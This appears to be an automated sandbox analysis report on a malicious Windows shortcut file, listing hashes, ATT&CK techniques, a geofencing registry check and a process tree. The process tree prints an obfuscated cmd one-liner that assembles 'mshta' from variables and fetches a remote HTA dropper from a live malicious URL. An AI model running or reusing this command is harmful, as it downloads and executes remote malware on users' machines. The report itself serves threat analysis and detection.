3b1f91987aec1cad1c597308844cbb672b467b274e7ee6743cd345858af5c2c6

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:21

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General

Target
DOC-CKYMTF.lnk
Size 1KB
Sample260804-j9hkdaar31
SHA256 3b1f91987aec1cad1c597308844cbb672b467b274e7ee6743cd345858af5c2c6
MD5 f6ca6ccc328e0fe68114bdbb25bca0a5
SHA1 0757d08655a4ccb6a426f811114eda2b3c12812e
SHA512 ffbfe78f29b4fecd3991f0dcb84578ddb5bc57ddf644bfea2d106e1632b56c0d02b36f4f5885093606499f8c3c37697ffa8611998995041a8fc7b6d9d7a523b8
TLSH
T10A31CB543FEC0A24F3F39F7784BB672089BFB9A68E20CA2D0140450C1032A15E53AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2016	cmd.exe
1688	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 2016	1688	cmd.exe	86
PID 2016 wrote to memory of 5328	2016	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CKYMTF.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1688
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set ZgXjV=msh&&set Ice=ta&&start "" !ZgXjV!!Ice! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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